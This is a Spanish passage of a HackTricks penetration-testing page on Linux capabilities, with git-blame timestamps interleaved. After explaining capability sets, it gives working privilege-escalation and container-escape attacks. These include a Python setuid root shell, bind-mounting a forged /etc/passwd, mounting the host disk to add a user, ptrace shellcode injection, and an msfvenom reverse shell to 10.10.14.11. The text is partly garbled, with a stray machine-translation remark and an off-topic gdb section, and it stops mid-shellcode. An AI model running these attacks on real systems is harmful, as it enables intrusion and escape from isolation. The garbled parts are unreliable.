hacktricks/linux-hardening/privilege-escalation/linux-capabilities.md

1718 lines
79 KiB
Markdown
Raw Normal View History

2023-06-05 18:30:03 +00:00
# Capacidades de Linux
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
2023-06-05 18:30:03 +00:00
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.\\
{% embed url="https://www.rootedcon.com/" %}
## ¿Por qué capacidades?
Las capacidades de Linux **proporcionan un subconjunto de los privilegios de root disponibles** a un proceso. Esto divide efectivamente los privilegios de root en unidades más pequeñas y distintivas. Cada una de estas unidades puede ser otorgada independientemente a los procesos. De esta manera, el conjunto completo de privilegios se reduce y se disminuyen los riesgos de explotación.
Para entender mejor cómo funcionan las capacidades de Linux, veamos primero el problema que intenta resolver.
Supongamos que estamos ejecutando un proceso como un usuario normal. Esto significa que no tenemos privilegios. Solo podemos acceder a datos que nos pertenecen, a nuestro grupo o que están marcados para el acceso de todos los usuarios. En algún momento, nuestro proceso necesita un poco más de permisos para cumplir con sus tareas, como abrir un socket de red. El problema es que los usuarios normales no pueden abrir un socket, ya que esto requiere permisos de root.
## Conjuntos de capacidades
**Capacidades heredadas**
**CapEff**: El conjunto de capacidades _efectivas_ representa todas las capacidades que el proceso está utilizando en ese momento (este es el conjunto real de capacidades que el kernel utiliza para las comprobaciones de permisos). Para las capacidades de archivo, el conjunto efectivo es en realidad un solo bit que indica si las capacidades del conjunto permitido se moverán al conjunto efectivo al ejecutar un binario. Esto hace posible que los binarios que no son conscientes de las capacidades utilicen las capacidades de archivo sin emitir llamadas de sistema especiales.
**CapPrm**: (_Permitido_) Este es un superset de capacidades que el hilo puede agregar a los conjuntos permitidos o heredables del hilo. El hilo puede usar la llamada al sistema capset() para administrar las capacidades: puede eliminar cualquier capacidad de cualquier conjunto, pero solo agregar capacidades a sus conjuntos efectivos e heredados de hilo que estén en su conjunto permitido de hilo. En consecuencia, no puede agregar ninguna capacidad a su conjunto permitido de hilo, a menos que tenga la capacidad cap\_setpcap en su conjunto efectivo de hilo.
**CapInh**: Usando el conjunto _heredado_, se pueden especificar todas las capacidades que se permiten heredar de un proceso padre. Esto evita que un proceso reciba capacidades que no necesita. Este conjunto se conserva a través de un `execve` y generalmente es establecido por un proceso que _recibe_ capacidades en lugar de por un proceso que otorga capacidades a sus hijos.
2023-06-05 18:30:03 +00:00
**CapBnd**: Con el conjunto _limitante_ es posible restringir las capacidades que un proceso puede recibir. Solo se permitirán las capacidades que estén presentes en el conjunto limitante en los conjuntos heredables y permitidos.
**CapAmb**: El conjunto de capacidades _ambientales_ se aplica a todos los binarios no SUID sin capacidades de archivo. Conserva las capacidades al llamar a `execve`. Sin embargo, no todas las capacidades del conjunto ambiental pueden ser conservadas porque se eliminan en caso de que no estén presentes en el conjunto de capacidades heredables o permitidas. Este conjunto se conserva a través de llamadas a `execve`.
Para obtener una explicación detallada de la diferencia entre las capacidades en los hilos y los archivos y cómo se pasan las capacidades a los hilos, lea las siguientes páginas:
2023-06-05 18:30:03 +00:00
* [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
* [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
## Capacidades de procesos y binarios
### Capacidades de procesos
Para ver las capacidades de un proceso en particular, use el archivo **status** en el directorio /proc. Como proporciona más detalles, limitemos solo la información relacionada con las capacidades de Linux.\
2023-06-05 18:30:03 +00:00
Tenga en cuenta que para toda la información de capacidades de los procesos en ejecución se mantiene por hilo, para los binarios en el sistema de archivos se almacena en atributos extendidos.
Puede encontrar las capacidades definidas en /usr/include/linux/capability.h
Puede encontrar las capacidades del proceso actual en `cat /proc/self/status` o haciendo `capsh --print` y de otros usuarios en `/proc/<pid>/status`
```bash
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
```
Este comando debería devolver 5 líneas en la mayoría de los sistemas.
* CapInh = Capacidades heredadas
* CapPrm = Capacidades permitidas
* CapEff = Capacidades efectivas
* CapBnd = Conjunto límite
* CapAmb = Conjunto de capacidades ambientales
```bash
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
```
Estos números hexadecimales no tienen sentido. Usando la utilidad capsh podemos decodificarlos en el nombre de las capacidades.
```bash
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
```
Veamos ahora las **capacidades** utilizadas por `ping`:
```bash
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente usa la herramienta **getpcaps** seguida de su identificador de proceso (PID). También puedes proporcionar una lista de identificadores de proceso.
2023-06-05 18:30:03 +00:00
```bash
getpcaps 1234
```
Veamos aquí las capacidades de `tcpdump` después de haberle otorgado al binario suficientes capacidades (`cap_net_admin` y `cap_net_raw`) para espiar la red (_tcpdump se está ejecutando en el proceso 9562_):
2023-06-05 18:30:03 +00:00
```bash
#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Como se puede ver, las capacidades dadas corresponden con los resultados de las 2 formas de obtener las capacidades de un binario. La herramienta _getpcaps_ utiliza la llamada al sistema **capget()** para consultar las capacidades disponibles para un hilo en particular. Esta llamada al sistema solo necesita proporcionar el PID para obtener más información.
### Capacidades de Binarios
Los binarios pueden tener capacidades que se pueden utilizar durante la ejecución. Por ejemplo, es muy común encontrar el binario `ping` con la capacidad `cap_net_raw`:
```bash
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
```
Puedes **buscar binarios con capacidades** usando:
```bash
getcap -r / 2>/dev/null
```
### Eliminando capacidades con capsh
Si eliminamos las capacidades CAP\_NET\_RAW para _ping_, entonces la utilidad de ping ya no debería funcionar.
```bash
capsh --drop=cap_net_raw --print -- -c "tcpdump"
```
Además de la salida de _capsh_ en sí, el comando _tcpdump_ en sí mismo también debería generar un error.
> /bin/bash: /usr/sbin/tcpdump: Operación no permitida
El error muestra claramente que el comando ping no tiene permitido abrir un socket ICMP. Ahora sabemos con certeza que esto funciona como se espera.
### Eliminar capacidades
Puede eliminar capacidades de un binario con
2023-06-05 18:30:03 +00:00
```bash
setcap -r </path/to/binary>
```
## Capacidades de usuario
Aparentemente **es posible asignar capacidades también a los usuarios**. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario.\
Basándonos en [esto](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [esto](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) y [esto](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), algunos archivos nuevos deben ser configurados para dar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será `/etc/security/capability.conf`.\
Ejemplo de archivo:
```bash
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
```
## Capacidades de Entorno
Compilando el siguiente programa es posible **generar una shell de bash dentro de un entorno que provee capacidades**.
{% code title="ambient.c" %}
```c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>
static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
```
{% endcode %} (This is not a translation, it's just a correction to the previous message. The correct instruction to close a code block in markdown is `{% endcode %}` instead of `</code>`.)
2023-06-05 18:30:03 +00:00
```bash
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
```
Dentro del **bash ejecutado por el binario de ambiente compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual").
```bash
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
{% hint style="danger" %}
Solo puedes agregar capacidades que estén presentes tanto en los conjuntos permitidos como en los heredables.
{% endhint %}
### Binarios con capacidad/Binarios sin capacidad
2023-06-05 18:30:03 +00:00
Los **binarios con capacidad no usarán las nuevas capacidades** otorgadas por el entorno, sin embargo, los **binarios sin capacidad las usarán** ya que no las rechazarán. Esto hace que los binarios sin capacidad sean vulnerables dentro de un entorno especial que otorga capacidades a los binarios.
2023-06-05 18:30:03 +00:00
## Capacidades de servicio
Por defecto, un **servicio que se ejecuta como root tendrá asignadas todas las capacidades**, y en algunas ocasiones esto puede ser peligroso.\
Por lo tanto, un archivo de **configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debe ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:
2023-06-05 18:30:03 +00:00
```bash
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
```
## Capacidades en Contenedores Docker
Por defecto, Docker asigna algunas capacidades a los contenedores. Es muy fácil verificar cuáles son estas capacidades ejecutando:
2023-06-05 18:30:03 +00:00
```bash
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
# Remove all and add only one
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
2023-06-05 18:30:03 +00:00
{% embed url="https://www.rootedcon.com/" %}
## Escalada de privilegios / Escape de contenedor
Las capacidades son útiles cuando se desea restringir los propios procesos después de realizar operaciones privilegiadas (por ejemplo, después de configurar chroot y enlazar a un socket). Sin embargo, pueden ser explotadas al pasar comandos o argumentos maliciosos que luego se ejecutan como root.
2023-06-05 18:30:03 +00:00
Puede forzar capacidades en programas usando `setcap` y consultarlas usando `getcap`:
```bash
#Set Capability
setcap cap_net_raw+ep /sbin/ping
#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
```
El `+ep` significa que estás añadiendo la capacidad (“-” la removería) como Efectiva y Permitida.
2023-06-05 18:30:03 +00:00
Para identificar programas en un sistema o carpeta con capacidades:
```bash
getcap -r / 2>/dev/null
```
### Ejemplo de explotación
En el siguiente ejemplo se encuentra que el binario `/usr/bin/python2.6` es vulnerable a la escalada de privilegios:
```bash
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
```
**Capacidades** necesarias por `tcpdump` para **permitir que cualquier usuario pueda capturar paquetes**:
Para permitir que cualquier usuario capture paquetes con `tcpdump`, se deben asignar las siguientes capacidades al binario `tcpdump`:
```
CAP_NET_RAW
CAP_NET_ADMIN
```
2023-06-05 18:30:03 +00:00
Estas capacidades permiten a `tcpdump` acceder a los paquetes de red en bruto y configurar interfaces de red. Para asignar estas capacidades al binario `tcpdump`, se puede utilizar el siguiente comando:
2023-06-05 18:30:03 +00:00
```
sudo setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' /usr/sbin/tcpdump
```
Este comando asigna las capacidades necesarias al binario `tcpdump` ubicado en `/usr/sbin/tcpdump`.
2023-06-05 18:30:03 +00:00
```bash
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
```
### El caso especial de las capacidades "vacías"
Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, por lo que es posible crear un programa set-user-ID-root que cambie el ID de usuario efectivo y guardado del proceso que ejecuta el programa a 0, pero no confiere capacidades a ese proceso. O, dicho de manera simple, si tiene un binario que:
1. no es propiedad de root
2. no tiene bits `SUID`/`SGID` establecidos
3. tiene un conjunto de capacidades vacío (por ejemplo: `getcap myelf` devuelve `myelf =ep`)
entonces **ese binario se ejecutará como root**.
## CAP\_SYS\_ADMIN
[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) es en gran medida una capacidad general, que puede llevar fácilmente a capacidades adicionales o a root completo (normalmente acceso a todas las capacidades). `CAP_SYS_ADMIN` es necesario para realizar una serie de **operaciones administrativas**, lo que es difícil de eliminar de los contenedores si se realizan operaciones privilegiadas dentro del contenedor. A menudo es necesario conservar esta capacidad para contenedores que imitan sistemas completos en lugar de contenedores de aplicaciones individuales que pueden ser más restrictivos. Entre otras cosas, esto permite **montar dispositivos** o abusar de **release\_agent** para escapar del contenedor.
2023-06-05 18:30:03 +00:00
**Ejemplo con binario**
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
```
Usando Python, puedes montar un archivo _passwd_ modificado encima del archivo _passwd_ real:
2023-06-05 18:30:03 +00:00
```bash
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
```
Y finalmente **monte** el archivo `passwd` modificado en `/etc/passwd`:
2023-06-05 18:30:03 +00:00
```python
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
```
Y podrás **`su` como root** usando la contraseña "password".
**Ejemplo con entorno (Docker breakout)**
Puedes verificar las capacidades habilitadas dentro del contenedor de Docker usando:
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro de la salida anterior se puede ver que la capacidad SYS\_ADMIN está habilitada.
* **Montaje**
Esto permite que el contenedor de Docker pueda **montar el disco del host y acceder a él libremente**:
2023-06-05 18:30:03 +00:00
```bash
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
```
* **Acceso completo**
En el método anterior logramos acceder al disco del host de Docker.\
En caso de que encuentres que el host está ejecutando un servidor **ssh**, podrías **crear un usuario dentro del disco del host de Docker** y acceder a él a través de SSH:
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
```
## CAP\_SYS\_PTRACE
**Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando dentro del host.** Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con **`--pid=host`**.
[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite el uso de `ptrace(2)` y llamadas al sistema recientemente introducidas como `process_vm_readv(2)` y `process_vm_writev(2)` para adjuntar memoria cruzada. Si se concede esta capacidad y la llamada al sistema `ptrace(2)` en sí no está bloqueada por un filtro seccomp, esto permitirá a un atacante eludir otras restricciones de seccomp, consulte [PoC para eludir seccomp si se permite ptrace](https://gist.github.com/thejh/8346f47e359adecd1d53) o el **siguiente PoC**:
2023-06-05 18:30:03 +00:00
**Ejemplo con binario (python)**
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
```
```python
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
```
**Ejemplo con binario (gdb)**
`gdb` con capacidad `ptrace`:
2023-06-05 18:30:03 +00:00
```
/usr/bin/gdb = cap_sys_ptrace+ep
```
# Crear un shellcode con msfvenom para inyectar en memoria a través de gdb
Para crear un shellcode con msfvenom, primero debemos especificar la plataforma y la arquitectura de destino. En este ejemplo, crearemos un shellcode para una plataforma Linux de 64 bits:
2023-06-05 18:30:03 +00:00
```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=<PORT> -f c -o shellcode.c
2023-06-05 18:30:03 +00:00
```
Reemplaza `<IP_ADDRESS>` y `<PORT>` con la dirección IP y el puerto de tu máquina atacante.
2023-06-05 18:30:03 +00:00
Una vez que se haya generado el shellcode, podemos inyectarlo en memoria a través de gdb. Primero, debemos compilar nuestro programa de destino con la opción `-z execstack` para permitir la ejecución de código en la pila:
2023-06-05 18:30:03 +00:00
```
gcc -z execstack -o vulnerable vulnerable.c
2023-06-05 18:30:03 +00:00
```
Luego, abrimos gdb y cargamos nuestro programa vulnerable:
2023-06-05 18:30:03 +00:00
```
gdb vulnerable
2023-06-05 18:30:03 +00:00
```
Establecemos un punto de interrupción en la función `main` para que podamos inyectar nuestro shellcode antes de que se ejecute el programa:
2023-06-05 18:30:03 +00:00
```
break main
2023-06-05 18:30:03 +00:00
```
Ejecutamos el programa hasta que se detenga en el punto de interrupción:
2023-06-05 18:30:03 +00:00
```
run
```
Una vez que se detiene en el punto de interrupción, podemos inyectar nuestro shellcode en memoria utilizando el comando `call` de gdb:
2023-06-05 18:30:03 +00:00
```
call (void*)mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE, -1, 0)
2023-06-05 18:30:03 +00:00
```
Este comando asigna una página de memoria de 4096 bytes con permisos de lectura, escritura y ejecución. Luego, podemos copiar nuestro shellcode en la página de memoria utilizando el comando `call` de gdb:
2023-06-05 18:30:03 +00:00
```
call (void*)memcpy(<MEMORY_ADDRESS>, <SHELLCODE>, <SHELLCODE_LENGTH>)
2023-06-05 18:30:03 +00:00
```
Reemplaza `<MEMORY_ADDRESS>` con la dirección de memoria asignada por el comando `mmap`, `<SHELLCODE>` con el shellcode generado por msfvenom y `<SHELLCODE_LENGTH>` con la longitud del shellcode.
2023-06-05 18:30:03 +00:00
Finalmente, podemos saltar a nuestro shellcode utilizando el comando `jump` de gdb:
2023-06-05 18:30:03 +00:00
```
jump <MEMORY_ADDRESS>
2023-06-05 18:30:03 +00:00
```
Reemplaza `<MEMORY_ADDRESS>` con la dirección de memoria asignada por el comando `mmap`.
Una vez que se ejecuta el shellcode, deberíamos tener una conexión de shell inversa a nuestra máquina atacante.
2023-06-05 18:30:03 +00:00
```python
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
